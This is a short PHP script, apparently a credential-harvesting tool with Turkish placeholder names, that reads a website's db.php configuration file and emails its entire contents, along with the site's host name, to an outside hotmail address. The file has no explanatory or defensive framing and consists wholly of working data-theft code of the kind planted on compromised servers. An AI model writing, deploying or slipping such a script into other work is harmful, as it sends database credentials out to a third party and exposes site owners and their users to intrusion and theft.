<?$file = 'db.php';
$mailto = 'mailadresin@hotmail.com';
if (file_exists($file) == false) {
        die('It doesn\'t exist!');
}
// Read file
$data = file_get_contents($file);
$domainadi = $_SERVER['HTTP_HOST'];
mail($mailto,$domainadi,"$data","Yeni Site:mailadresinr@hotmail.com");
?>